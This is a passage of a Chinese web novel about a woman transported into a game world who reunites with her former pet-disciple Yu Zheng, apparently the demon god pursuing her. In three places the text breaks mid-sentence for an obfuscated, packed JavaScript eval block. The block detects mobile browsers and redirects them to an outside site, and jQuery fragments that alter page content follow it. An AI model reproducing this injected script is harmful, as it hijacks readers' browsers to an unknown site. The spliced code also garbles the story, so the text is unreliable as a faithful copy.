“我是小俞,师父。”少年仍旧不死心,目光死死地扒在她身上。
小俞……这个名字似乎有些耳熟。程澄扎巴几下大眼,脑中好似连上了信号,这个称呼她有印象。
少年见她没有矢口否认,接着继续说道:
“师父,您的外号是【小洋人】,通常夜里歼敌奔走,白日睡觉钓鱼。”
此话一出,程澄如雷轰顶,她想起来了……全都想起来了。
在她的大学期间,基本上白天满课,只有下了晚课才有时间打游戏。
所以一般白天上课前,她的账号就在鱼塘挂机收资源,晚上下课后清理一些今日任务,再帮亲友去追杀对家仇敌。
当时游戏有一个新年老玩家福利,按照每个人的排行情况分发,她位居榜一,平台给她发了个小孩。
明明其它榜上的选手,拿到的不是稀有坐骑就是满点装备,她看着邮箱里的粗麻布衣的黄口小儿——也许孩童的外表只是他的伪装,其实这是隐藏的数值怪呢?!
她的鼠标放在他身上,信息框蹦了出来:
宠物栏
名称:【俞铮】
性别:【公】
属性:【????】
技能:【大吃特吃】【大睡特睡】【大哭特哭】
补充信息:不知道从哪来的小孩。
程澄陷入了沉思。
好在后来找客服核实过了,属于错发的情况,给她重发了一个闪光坐骑后,程澄还想再问俞铮的情况,客服发来一条消息:
求亲亲不要举报,那个是俺不小心发错了,亲亲举报我会丢饭碗的QAQ(托马斯回旋彩虹音爆式磕头)
从此之后,武力值榜一大佬【小洋人】的身边,总有一个矮矮瘦瘦的小孩。
很长时间,游戏里流传着这样一个传说:
榜一大佬曾与一个小白脸一夜私情。却因为小白脸只是图谋她的装备,洒泪提刀,追着小白脸砍了全图。
小白脸退游后,榜一大佬独自将他的孩子抚养长大,一儿一母,伶仃孤苦。
与‘真神’的称号一起迎面走来的是‘嗜血寡妇’。
托江湖谣言的福,那几日程澄十分忙碌,带着一个豆芽菜,满图追杀乱传谣言的人。
日子就这样平静地流淌。
豆芽菜的生长速度非比寻常,一年之后,就从黄口小童出落成长身玉立的少年了。游戏里的形象也从简单的Q版像素点,摇身一变,成了画风精致的古风少年。
对面发出一声闷咳,程澄才回过神来,看到少年仍旧死死地望着自己,她不由得干笑两声,说道:
“对不起啊,道友,我真的不是你的师父。”
承认的话在即将脱口时被她咽了回去。
虽不知与那魔神有何恩怨,但自己现在被他通缉,倘若暴露给身边人,怕是会牵连无辜。
俞铮没有说话,唇线抿成一条僵硬的直线,眸光中映照出她的倒影。
程澄心下渐渐明晰,这个游戏并不如自己想的那样简单。
自己当时意外收养的徒弟,在自己退游的期间里,守着那具没有灵魂的躯体,一个人过了很多很多年。
雨还在下。
程澄有些顶不住他焦灼的视线。愧疚感随着时间的推移水涨船高,一不做二不休。
她掀开面纱,露出了自己现实的模样。
当那道陌生的面容进入视线,俞铮好似僵了一瞬,他的目光死死地在面前的脸上游移,似是想翻找出一丝,与记忆中的人相似的证据。
程澄观察着他气场的变化,语气中带着点愧疚。
“对不起啊道友,让你失望了,看你似是远道而来,不然——我请你住旅馆吧?”
又是漫长的沉默。
自己的邀请是不是过于唐突了,贸然救助未成年小男生,放在现实,自己也该被吐槽了。
就在她以为俞铮不会回复的时候,身前传来温和的男声,舒缓又悦耳。
“那就有劳道友了。”
他脸上挂着温和的笑容,好似无形中的墙壁,将他们拉开一段疏远的距离。
“阁下怎么称呼?”
“程澄。”
程澄一边轻声回复,一边观察着他的神态变化。
俞铮面色如常,古井无波般,仍是保持者一抹礼貌的微笑,目光落在她身上,也不让人觉得冒犯。
“程澄?是什么程。”
“禾苗呈和澄澈的澄。”
程澄感觉有点不对劲,但又说不上来是怎么不对劲。
“哦,程姑娘是烟云古镇的?”
俞铮的视线淡淡地扫过来,唇边似乎还带着一点笑意。
“烟云古镇的……啊,对。”
程澄下意识地回答到,察觉到不是很顺后又慌忙改嘴。
“俞道友,为什么会到这里来找师父?”
程澄试图转移话题。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256418|182067||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
云起大陆的面积不小,不至于让他随便逛逛就逛到自家门口,心里敏锐的直觉告诉她,俞铮应该是有意来找她的。
“某来烟云镇替人办事,赶夜路看到天上的烟花,就想来这看看。”俞铮回答道,视线移向雨中的竹林,不知道在想什么。
“进来的时候宴会已经结束了,天色已晚,就打算在这里住店。”少年的声音如温水般平淡无波。
“姑娘身形与某的师父实在相像,唐突了程姑娘,某欠姑娘一个人情。”
“姑娘可随意吩咐。”
程澄眉头微微皱起,竟然是巧合吗……提到旅店,程澄想到了什么,她问道:
“道友现在是做什么工作?”
“做的比较杂,都是些临时工、体力活。”
体力活……她的脑中闪过一些画面。
在工地里灰头土脸搬木头的小俞、在铁匠铺里大汗淋漓地打铁的赤膊小俞……
“帮商队摘药材什么的。”俞铮的声音从旁边传来,打断了她的幻想。
“哦……摘药材啊,欸——摘药材。”程澄灵光一闪,自己虽然是个负心师父,但是可以默默帮助苦命徒弟再就业不是。
“道友啊,我这里刚好有个药材买卖的路子,不如你就在我这里工作吧?”
“某原就欠姑娘一个人情,姑娘还为某提供工作,莫不是更还不清了。“
“不用还——我这刚好缺人,你来就是帮大忙了。”程澄语气夸张道。
俞铮许久没有反应。程澄又凑过身去,煽动道:
“我们这有大陆最健全的保障体系哦——五险一金,且包宿包餐。”
“‘五险一金’是什么?”
忘了这是在游戏里了……
程澄猛地一拍脑壳,微露小舌,状似不二家jpg.
“额……其实就是……”程澄一时间也想不起来那五个‘险’是什么了,查觉到俞铮灼灼的目光,她心一横,脱口而出道:
“就是本姑娘会养你的意思——”
程澄说完就有些后悔了。因为这话听着不像是招聘,反倒像是招亲。
会被当变态吧……她的头越垂越低,如果可以,她想遁到地心去。
就在她无限社死的时刻,对面传来一阵愉悦的笑声,程澄抬起头来,正对上俞铮弯弯的眉眼,他轻笑着说道:
“好,我们一言为定。”
“真的吗?”程澄愣神道。心下升腾起一股感动。
俞铮真是体贴的好孩子,连这么尬的话头都接下去。
话音刚至,俞铮的笑似是淡了几分。
“姑娘莫不是在玩弄某的真心?”
程澄瞳孔地震,张嘴欲言,却不知怎么说。俞铮的神情似有几分幽怨的味道,这剧情朝着什么奇怪的方向万马奔腾了??!
顶着俞铮渐渐冷下去的目光,程澄心一横,说道:
“好——我们一言为定。”
“程姑娘既然如此有能力,某的五险一金那就依仗姑娘了。”
“好……”
怎么会这样,程澄呆呆地站在原地,她好像签了什么奇怪的合约。
“既然我们已经是‘五险一金’的关系了,姑娘还是称呼我的小名吧。”
“你的小名是?”
“小俞。”
男人的声音从对面悠悠传来,掀起了一段回忆。
……
“俞铮?”程澄的鼠标落在属性栏上,名称栏红字标注地清晰。
系统发的宠物竟然还有自己的名字。
程澄花了一张六块钱的改名卡,在名称栏修改完,系统跳出一道提示。
【您是否要将‘俞铮’的名称修改为‘小俞’】
鼠标移到‘是’,点了下去。
“小俞?”程澄听到自己重复了一遍。
俞铮点了点头,面上浮现出淡淡的笑意。
8. 茶楼
“小俞有修习功法吗?”
俞铮点了点头,说道。“浮药殿的草药之术,程姑娘若需要炼丹,小俞必会全力相助。”
每一条信息都和游戏里重叠了,看来俞铮的设定在自己退游期间也没有发生改变。
“是的。”俞铮点了点头,身子不明显地侧了过去,让袖袍掩住了腰间的物体。
“你一个药师这么晚在外面赶路不怕危险吗?”程澄皱了皱眉,这个问题憋了很久,她又不想让俞铮以为自己瞧不起他的能力。
俞铮听完只是微微一笑,轻声说道:
“自从师父走后,这是小俞唯一谋生的手段了,真是因为足够危险,其它药师不愿去做,小俞才去做,赚取几日的粮食和屋檐”
语毕,他垂下头,薄如蝉翼的睫毛微微地颤抖着,好似在压抑着内心的委屈。
程澄愣在原地,她真该死啊……竟然扔下自己柔弱无力的可爱徒弟,只为了应聘奶茶店的工作。
程澄就这样坐在竹林的木亭内,和昔日电子徒弟叙旧到天明。
天边薄薄一层乳白色渐渐有红晕染开。
程澄的眼皮愈来愈重,这也是她穿越之后第一次通宵。整体也没有聊什么,她就是了解了一下这些年大陆的变化,也问起了魔神的情况。
“所以,总结来说——就是魔神是一百年前才出现的?”程澄有气无力地问道。
“而且还一直在找你的师父?”
“是的,或许是早年师父行侠仗义时,未剿杀的余孽罢。”
俞铮端坐在她对面,面上看不出一丝疲倦,程澄问的每一个问题,他都做出了详细的回复,语速和缓,听得程澄更想睡觉了。
“时候不早了,姑娘先去歇息吧,睡醒再叙。”
就在程澄打了今夜第八个哈欠时,俞铮的声音从对面传来,程澄如蒙大赦。
她之所以不回去睡觉,有很大的原因是对俞铮有愧,所以硬是用上眼皮扯着意识。
“我送姑娘回去。”俞铮站起身来,淡青的衣角碰到竹叶,沾着些晶莹的露水。
程澄随后也歪扭着身子站了起来,极不明显地揉了揉屯部。在亭子的石凳上几乎快坐了一夜,现下只觉得自己的屯似乎是死了。
俞铮虚扶着她,静静地跟在身后。
进了大厅,前台的员工纷纷走了过来,冲程澄的方向虚虚弯下身子。
程澄走过去,轻声说了些什么,时不时转头看向身后的俞铮,员工也跟着她的视线,落在这仪表堂堂的少年身上,时时点头应声。
交代完,程澄领着他往前走,边走边说道:
“这阵子你就先住这儿吧,等我置办了宅子,你再随我一起搬去。”
俞铮静静地跟着,没有言语,十分乖巧地跟在身后。
“然后,近几日我要去一趟清风寨,你和箜月一起来。”
程澄忽地顿住了脚步,补充道:
“还没跟你介绍,箜月是我的徒弟。睡醒后介绍你们认识。”
程澄眨巴几下眼睛,有些迟疑道:
“小俞啊,你是不是还有个师弟呢?”
也就是刚刚,她才记起来,自己当年在合欢宗救走过一个男婴,并且收之为徒弟,用自己的姓氏,取名叫做程霜。
俞铮半天没反应,直到程澄走近到他眼前,他才恹恹地点了点头,说道:
“是的。他现在已经是受人敬仰的万剑宗宗主了。”
程霜眼睛刷的一下亮了,有些惊喜,没想到当年连剑都挥不明白的胖头小子,竟然都担上大任了。
“真没想到啊,万剑宗宗主竟然是你师弟。”程澄的声音有些雀跃,她正好要去万剑宗办点事,这下方便多了。
沉浸在桃李丰收的程澄没有注意到——身旁的俞铮许久没有出声。
倘若她此时回过头来,就能看到少年眼里堆积的阴郁,他的利齿缓缓地磨咬着下唇,留下一个又一个淡红的血印。
“小俞,我不是那个意思……”程澄的脑中好像忽然想到了什么,连忙找补道:
“人生的意义不在于成就的高低,而在于有没有活出自己,对吧?”
俞铮听完,扬起了一个真诚的微笑,语气温和:
“姑娘说的是。师父不在的这些年,我一直在坚持自我,以后也会的。”
程澄打圆场地干笑两声,连声道:
“是啊是啊,小俞现在可是妙手回春的丹师,想必你的师父在时,也会以你为傲。”
二人以一段互夸结束了漫长的叙旧。
程澄一回到房间,就蛄蛹到软绵的床上。
脑子里翻涌过关于俞铮的一些事,那个电子荧幕里的角色,现下竟真真地站在自己面前。
想起她掀起面纱时,少年失望的眼神,她的心底有些复杂的东西,渐渐地沉淀下来。
不一会儿,她的意识重得承受不了其它的思虑,眼皮刚合拢就陷入了沉睡。
进入房间后,俞铮就靠坐在墙边,眸光散漫,好似没有对焦一般。
窗外的晨光攀至他的面容,在他立削的眉骨下衍出阴影,那阴影蔓延至眼底,留下一片晦暗。
他并不疲倦,即使他从万剑宗赶来片刻未歇,跨越了半个大陆。
在烟云镇城外还遇到了徐琢月那老狐狸,对付他也用了一会,终于还是从他嘴里逼出了消息。
俞铮随手取出身侧的圆杖,细细地摩挲着。
忽然,窗外有一只黑色乌鸦“砰”得砸在窗沿上,周身有几处灼烧。
俞铮站起身,将乌鸦拎起来,打量了一番它周身的伤口,沉默三秒后,忽地低头笑了起来,眼角弯成愉悦的弧度。
“是她没错……她真的回来了。”少年的声线有些哽咽,仿佛被替身一般,与在木亭时的沉静稳重截然不同。
“程……澄。”他的声音轻缓,似咀嚼一般,将这二字慢慢吐出,再吞入。
他的眼眶迅速泛红,里面似乎有几点晶莹流转,乌鸦安静地躺在他的手心,不敢动弹。
“湮城有什么事?”
过了好一会,他才转过头来,瞥过手里安静如鸡的乌鸦,沉声说道。
乌鸦见状迅速从他手上爬起来,一边抖擞羽毛,一边说道:
“王上,湮城近日有大规模地暴动,俺们已经完成镇压。但有眼线汇报,这次暴动是针对您的,并且是有人在暗处推波助澜。”
“查,我目前还不能回去。”
“是。”
乌鸦刚展翅欲飞,俞铮的声音悠悠从背后传来:
“你还想再被结界烧一次吗?”
乌鸦诺诺地收回翅膀,不敢出声,黑不溜秋的眼睛里似乎能看到畏惧。
“傻鸟。”俞铮叹了口气,说:“从花园化形爬出去。”
乌鸦恍然大悟,用力点了点鸟头。
“谢王上,俺这就回去查清幕后真凶。”
目送那点黑漆的身影消失后,俞铮回到原来的位置。
他靠坐在墙边,隔着薄薄的墙幕,他能听到另一头的人轻缓的呼吸声。
意识忽得得闪回到湮城的那间冰室。不知想到了什么,俞铮的眸子微微眯起,执念沉淀在眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256419|182067||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
底,压抑又悲伤。
这一次,不会再让你离开了。
傍晚的茶楼格外热闹,小二来来往往地扯着嗓子吆喝,周围的人群嗡嗡地讨论着。
“老板,您的客人来了。”小二躬身说道,迎面进来两个人。
程澄招呼道:“快进来,你们来得正是时候,先生要讲新书了。”
俞铮落座于程澄的左手边,看着另一侧的李箜月,她露出了礼貌的微笑。
“这位是李箜月,是烟云镇李家的孩子,在城心有几处药铺子。”程澄介绍道。
“这位俞铮,我新认识的朋友”
俞铮闻言向李箜月温声道:“俞铮。西北部平原人,药修。”脸上挂着温和的笑容。
李箜月一时间没有说话,她的目光先是落在程澄身上,又移向旁边的俞铮,眼中似是闪过一丝忧疑。
“帅吧。”程澄伫在一旁,看着李箜月的沉默,她理解成见了帅哥的害羞。
李箜月还没回应,身旁传来一阵略有懊恼的男声。
“程姑娘莫要折煞我了。”俞铮微微皱眉,目光轻落在程澄身上,但眸中似乎闪过一丝光彩,李箜月不知道是不是自己看错了。
忽地,楼下传来一阵掌声,茶楼安静了起来。
”嘘——“程澄冲着身旁二人,在嘴边比了一个食指,目光流转向台下,示意他们听楼下说。
一楼的正中,一个头戴羽冠的中年男子,抚着胡须,神秘兮兮地说道:
“今天,咱家就开一个秘书,在座的诸位定是闻所未闻——“
台下窃窃私语了起来,但很快,又回归了安静。
“魔神的故事,众人知道的不在少数,但是——今天这个,可是我淘来的秘本,市场上已经不流通了。”
程澄有些不好的预感。
“作者,佚名。知名作家,经营家,书画家,民间歌舞家,美食家,《说说魔神的那段禁恋》连载家,游行家,鬼神研究家……”
台下传来不小的惊叹,
“这个佚名竟如此多才?”
“真是了不起啊”
……
程澄扶额苦笑,真让自己猜中了,讲得竟然就是自己那日睡前看的随机话本。
“在魔神还是个孩子的时候,他被后来的师父收养。正如现在魔神四处通缉的图像,他的师父呢——是个面目丑陋的奇女子。”
听到这里,俞铮微不可察地皱了皱眉头。
“他的师父教会他十八般武艺,不过很少有人见他出手。但此书中记载道,他有一根圆杖,漆黑圆润,每次只需挥一挥杖,就会生出天雷地火……”
台下一阵惊叹。
程澄细思,听上去,这个魔神还是个法修……
天河门的弟子总共也没有多少,她都记得,这个魔神难道是自己认识的人?
“大家都只知道魔神的师父是丑陋女子。”
说书人的声音沉抑下来,顿了一会,场面十分安静,众人都屏气凝神地等待下文。
那人仿佛怕是被人听到似的,作暗语状,悄声说道:
“但谁又知道,那传说丑陋的奇女子,其实就是已陨真神,传说称号【小洋人】。”
程澄瞪圆了眼,怎么还扯到她了。怎么感觉后背凉凉的。
另一侧,俞铮的视线悄悄攀至她的侧影,定格在那扇面纱上,好似在悄然观察着什么。
“你胡说——真神在世时,在大陆惩奸除恶,劫恶济贫,怎么可能与魔神有瓜葛!”
一个身着白色长袍的青年男子拍桌耸立,怒声说道。
9. 出差
“师父,看这身袍子,这是万剑宗的人吗?”
李箜月有些诧异道。
“嗯,看袍脚处银线钩织的弯月纹,就是万剑宗的人。”
程澄点了点头。万剑宗的弟子对这个话题如此敏感,应该是与程霜有关。
然下一瞬,男子的行为就印证了她的猜测。
“真神是我们万剑宗掌门的师尊,万剑宗弟子的师祖——你将其与魔神联系起来,莫不是折煞我们万剑宗?”
他此话一出,茶楼忽地安静了下来,目光纷纷扫过来。
对面的说书人眸光咕噜一转,嘴角旋即扯出一个讨好的弧度。
“我看这位兄台仪表不俗、气宇轩昂,定不是普通人。”他笑道,“不愧是名门正派的弟子。”
“——但你可知,真神与万剑宗掌门,程霜除却一层师徒关系,还有着一层联系。”
本来被青年男子扰乱兴致的众人,听到这句话后,又来了兴趣,齐刷刷地侧着耳朵,默不作声地等待下文。
程澄眨巴了几下眼睛,她怎么不知道除了师徒,她和程霜还有什么关系。
而那弟子也被同行的几人劝着坐了回去,其中一个少女满眼兴奋,说道:
“小女萧荷代万剑宗向您道歉,愿闻其详。”
说书人摆了摆手,继续说道:
“那万剑宗掌门,现今虽是置于万人之首,剑术精湛,天下无二。”
哗啦一声,他摇开扇子半遮面,声音从扇中缓缓流出。
“ 但幼年时期啊——他居住的村落被恶贼屠戮,父母亲皆在此丧命。”
“而程霜虽侥幸活命,但随后——就被路过的合欢宗弟子掳走,至于为什么要掳走嘛……”他拖长了音,迟迟没有下一句。
但此话一出,在台下掀起了轩然大波。
程澄的目光将他们的反应都尽收眼底。观众们神色各异,不少少女眼中流露失望,似是目送了情人出嫁。
青年男子大都是皱着眉不作声,但眼里掩不住的兴奋,好像对故事浮想联翩了起来。
“掌门也太惨了。”萧荷对着旁边被劝着坐下的男子说。
“这肯定是他胡编乱造的——为了赚钱脸都不要了。”男子火气上头,挣扎着又想站起,却被同伴牢牢按下,他无奈道:
“我们出来是受命前来找人的,你们别忘了正事。”
“我们就听他胡编些什么罢,好不容易能下一趟山,别那么无趣嘛师兄。”萧荷冲着他甜甜地笑道。
男子还是气不过,哼地一声转头就走了。
“你们听罢,我去找人。”
看着大家震惊的反应,说书人满意地继续说下去。
“那程掌门,可是纯阳之体——合欢宗当然不会放过这个天然的灵泉,供宗内弟子修炼采撷。“
“啊……那程掌门岂不是,受了合欢宗奸人的糟蹋……”台下的一位女侠客有些不忍,急忙问道。
“咱家这正要说到——”
说到精彩之处,众人皆屏气凝神。
“但正是这千钧一发之际,魔神的师尊,也就是【小洋人】,正在游荡江湖,扫除不平——顺手就把程掌门从合欢宗的邪爪中救走。”
“那日,她以一敌百,重伤合欢宗,从此这个邪宗才一落千丈。”
听到这里,众人都觉得有些邪乎。
合欢宗的衰落确实不假,但竟然是【小洋人】的手笔,还与万剑宗的掌门有关。
台下翻涌起一阵杂乱的讨论声。
“倘真如此,一个师父手下,怎么会一个正气凌然、救助人间,另一个遗害百年、手段阴狠?”
李箜月觉得有些匪夷所思。
她听说过真神的传说,但也只是道听途说——【小洋人】是万剑宗宗主的师父。
但至于收徒的过程,民间鲜有流传。魔神和万剑宗掌门是同门师兄弟,这听上去更是邪乎。
“那你说的另一层关系是什么?”台下有观众问道。
说书人抚须轻笑,卖起了关子。
“你可知,魔神与四大门派间的百年争执?”
“知道啊,就是抢真神的遗躯。”
“其它三个宗族战到最后力竭退战,而其中万剑宗举全宗之力,愣是要和魔神不死不休。您说,这是为何?”
“因为他孝?”
说书人气笑了,悠悠补充道:
“那程霜既遭了合欢宗的道,是如何全须全尾的出来的呢?”
合欢宗的招式,大都毒深入骨,除非有人以身解毒,否则瘴气扩散,灵智混乱,功法废断。
说书人将问句抛到台下,如烟雾弹般炸开,旖旎的气息在茶楼里弥漫开。
“爸爸,大家怎么不说话?”台下的小女孩摇了摇旁边的男人,“是如何出来的呢?”
周围的人都看了过来,面上带着细微的笑意,好整以暇地看热闹。
男人结巴了半天也没憋出回答,只好佯作愤状,一板一眼道:“不该问的不要问。”
对比台下的激烈讨论,包厢内此刻十分安静。
“民间话本,大概是为了娱乐众人编造的噱头罢。”程澄转过身来,语气平静道。
不愧是师父,对于江湖八卦毫不动摇。李箜月望着程澄,黑色的面纱模糊了她的表情。
一同被隐去的,是那道美丽的面容。
自从上次温泉沐浴,她就悟出了师父戴面纱的原因。
倘若没有面纱的遮掩,这张脸太过招人,于待嫁娇闺许是一张王牌,但对于于江湖人士来说,这是诱敌的蜜饵。
她望着师父愣神的几秒,忽地感觉脊背发凉。
李箜月移开了视线,又觉得轻松了很多。
她蹙着眉,有些困惑,转过头来,视线恰与旁边的俞铮撞上。
她忽地僵住了,俞铮眸子泛着冰冷的笑意,她嗖地把头转了回去,许久没有说话。
“师父今天集合我们,应该是有要事要商议吧。”清冽的男声从身后传来。
程澄好像恍然大悟似的,双掌合十,笑道:
“小俞同志起了一个好头——今天这个会,我就是想通知你们,我们之后的行程。“
她的目光从他们身上扫过,顿了一会,继续说道:“明天开始,我们要环大陆出差了。”
“出差?”
程澄拍了拍手,门忽地从外部打开,走进来一个布衣男子,那男子冲着面前的三位躬身说道:
“遵程大人之命,调查发现:烟
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256420|182067||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
云镇共有客店十二家,其中八家皆为徐家的产业。”
“徐家……徐琢月他们家的?”李箜月问道。
男子点了点头,继续说道:
“自程大人的旅馆开张后,镇内所有客店的价格都有调整,价格实惠。
“并且据可靠消息——那些常年来镇上交易的富商都受了徐琢月的特别款待,并被他承包了住宿,以极其低廉的价格。”
“这徐琢月简直欺人太甚——师父我们直接杀到他府上去!”旁边的李箜月愤懑不平道。
“好,你先下去吧。告诉杨叔,需要什么尽管从旅店里拿。”
男子躬着身退出房间,门刚一合拢。
“师父,杨叔是?”
“城郊的一个屠夫,我招他作主管安保,我们出差的日子,需要有一个会武力的在店里守着。”
李箜月恍然大悟,按照徐琢月那厮的德行,他们前脚走,后脚估计酒店就要被端了。
“我们此次出差,就是对徐琢月的恶意竞争进行反抗。”程澄说道。
“我们要和四大宗门建立合作关系,成为大陆唯一正统的官方旅店。”
李箜月眨巴眨巴眼睛,眸中尚是一团迷茫,硬是点了点头,状似恍然大悟道:
“原来是这样——”
一阵轻笑声从她身后传来,李箜月转过头去,正对上俞铮似嘲似笑的眼睛。
他缓缓说道:
“师父想说的是,旅店的目标群体是修行人士。此次出差,想必是想与各宗门的掌门立下合约。”
“烟云镇资源广袤,本是四大宗门常驻之地。合约建立后——弟子们可直享旅馆温泉的奇愈功能。”
“师父卖的不是旅馆的房间,而是温泉的药浴。需要药浴的,常为修行者。所以旅馆的目标群体,从最开始,就不是镇上的富商。”
李箜月眼中的迷茫更甚,就在她默默消化时,程澄的笑声从面纱后传来,爽朗悦耳。
“小俞真是聪明过人,简直是我的嘴替。”
“你说的没错,徐琢月针对我们的打压计划对我们其实并无影响,因为我们的客户层不同。”
她的目光扫过面前的二人,有些奇怪的是,二人皆蹙眉苦思,似在神游。
李箜月听到那句‘聪明过人’,只觉得心有不服。
如果不是她昨晚比平常多做了一个梦,脑力吃急,怎么会让那小白脸在师父面前抢了风头。
旁边的俞铮的注意点落在那句‘嘴替’,他陷入了沉思,‘嘴替‘是什么意思?
嘴巴……替身?
二人再次抬起头时,程澄又感到一阵奇异,对着李箜月志在必得的眼神和——
俞铮这是什么眼神?
程澄望过去,正对上俞铮笑意盈满的眸子,他的嘴角弯弯,似是想到了什么高兴的事。
是因为自己夸他聪明过人吗?程澄猜测道,这孩子也太好糊弄了。
旁边的俞铮还沉浸在自己的喜悦中,他明白了
——‘嘴替’就是嘴巴的替身,程澄的意思是,自己就是她的嘴巴。
多么亲密的词,自己是她的嘴巴。
程澄不知道,这还没有出发,二人都沉浸在自己的艺术里无法自拔了。
10. 出城
翌日清早,烟云镇弥漫着一股奶白的雾气,透着潮气,白雾中三个身影细声交流起来。
“师父,我们要走多久啊?”李箜月肩上挎着一个大木篓子,步伐有些笨重。
“出城门后就快了,最快一周吧。”程澄颠了颠背后的篓子,说道。
“一周……”李箜月一脸苦涩,“师父你不是会术法吗,有没有那种传送阵?”
程澄乐呵道,“有是有,但是呢,传送阵的另一端,得你亲身过去,才能设下。”
一旁的俞铮走在程澄的身侧,轻声问道:
“程姑娘,这篓子有些重,我替你拎着吧?”
程澄启唇刚欲拒绝,一旁的李箜月抢过话头,呛声道
“我师父那可是以一抵百的——你这瘦身板,不然还是照顾好自己吧。”
“箜月,说什么呢,小俞也是一番好意。”程澄斜睨了一眼李箜月,有些责怪的意味。
转过头去,冲着俞铮干笑道:
“小俞,箜月她就是嘴里没个门,冒犯的话你千万不要放在心上。”
俞铮嘴角牵起温和的笑容,声音有些干涩:
“小俞没事的,就是辛苦了姑娘,既要操劳路途,还要拢合团队。”
李箜月无声地冲俞铮掀了个白眼,小白脸——就知道在师父面前装好人。
程澄叹出一口长气,小俞这孩子,是真懂事。
俗话说,没妈的孩子早当家,孩子现在这样懂事,恐怕都是自己的罪过。
三个身影静静地步行了一会,城门在远处的雾霭中显出轮廓。
虽是清晨,已经有稀稀落落的人聚集在城关处,排着一字长队,慢慢地往关外移动。
然而,在一群粗麻布衣中,有几道乌黑的袍子格外显眼,他们穿梭在人群中,目光扫视着什么。
“师父,那是魔神的爪牙,已经持续了很多年了,在各个城门关口检查出入者。”李箜月的声音从身侧传来。
“是为了抓他的师父,真神?”
“师父,你怎么还真信了那个人说的。依我看,正如那个万剑宗弟子说的,他这就是为了赚钱,乱造谣呢。”
李箜月的声音有些激愤,早年的真神无人不敬,属是乱世中的定海神针,她在的那段时间,江湖平息,山河昌明。
现下把真神和魔神牵出一道关系,无论是修行者,还是布衣百姓,都不会相信。
程澄摸了摸后脑勺,有些尴尬,她倒真得没信,毕竟自己原先就两个徒弟,一个现在在自己身侧,另一个在万剑宗当掌门。
她转过头去,望向自己的电子徒弟,问道:
“关于魔神,小俞知道些什么吗?”
俞铮走在身后,声音从后面传来:
“传闻中,在魔神还不是魔神的时候,与一女子相恋,但女子嫌他身残体弱,一夜弃逃。”
他顿了一会,程澄感觉到脊背有些发凉,她转过头去,正对上俞铮灼灼的目光。
“后来的一百年里,都是在寻找负心人。”
“你这是从哪听来的,我怎么不知道?”旁边的李箜月问道。
“民间传闻而已,程姑娘当个话本听就好。”
这么听起来,程澄愈发确定——这个魔神,应该是记错了人。
游戏中,自己并没有与任意角色产生过男女之情。
没过一会,三人加入了出关的队伍,黑袍人也愈来愈近,如蛇般游移过来。
忽地,前面的队伍爆发出一阵骚乱。原本排成直线的队伍,扩成了一道圆,圆的正心有几个身影。
李箜月凑过去瞧了一眼,又悄摸摸地回来,面上有些复杂的神色:
“是那几个茶楼的听客,万剑宗的,被湮城来的魔神走狗拦住了。”
程澄思索了片刻,跨步走出队伍,冲身后的二人说:
“你们先把队排着,我去看看。”
李箜月还没来得及在说什么,程澄的身影就如鱼一般融入人群中。
拨开看热闹的群众,两拨剑拔弩张的队伍进入视野。有些耳熟的女声在人群中扬起。
“莫不真以为大陆是你们湮城的殖民地了——”
程澄循声看过去,一个熟悉的身影站在队首,是茶楼里叫说书人继续讲的女生,似乎是叫萧荷。
“这就是道上的规矩——难道说,你们不懂?”
黑袍人摘下帽檐,露出一张狰狞可怖的脸,似人似兽,一道乌黑的纹路似烟花般布满整张脸。
身后的黑袍人同时动作起来,将几个万剑宗弟子团团围住,与对方的剑芒紧紧对峙。
“欸——几位道友,怎么在关口掐架,你们不走,大家还要走呢。”
程澄从人群围成的圆圈中走了进去,在众人惊诧的目光中,她轻轻地用手拨开黑袍人的阵型,悠悠走进去。
“呀——萧荷,这么巧,你们也要出关?”
萧荷眸中闪过一丝疑惑,但没有出声。
“这几位黑袍的朋友,看在我的面子上,能不能让几位无心冒犯的小友们离开呢?”
黑袍人狰狞的面容上拧出一个疑惑的神态,身后的黑袍人忽地笑出了声,凶狠的目光剜在她的脸上。
“你又算哪根——”
他的声音戛然而止,身旁的同伙不满地侧头看去,却看到他的眼中浸满了恐惧,还有敬畏。
他什么也没说,扯着同伴的袍子就往外冲。没几下,圈内就只剩程澄和身后的万剑宗弟子。
“在下萧荷,道友如何称呼?”萧荷走到她的面前,声音有些激动。
她亲眼看到这位道友尚无动作,纯靠气场就把那几个湮城的魔族走狗吓走,现在十分笃定——自己这是碰上大佬了。
“程澄。”
几个弟子纷纷报上家门,其中一个好不眼熟,是在茶楼里打断说书人,被同伴反复按住的那个男子。
“吴含光。”他忽地躬身,向程澄行了一个标准的谢礼。
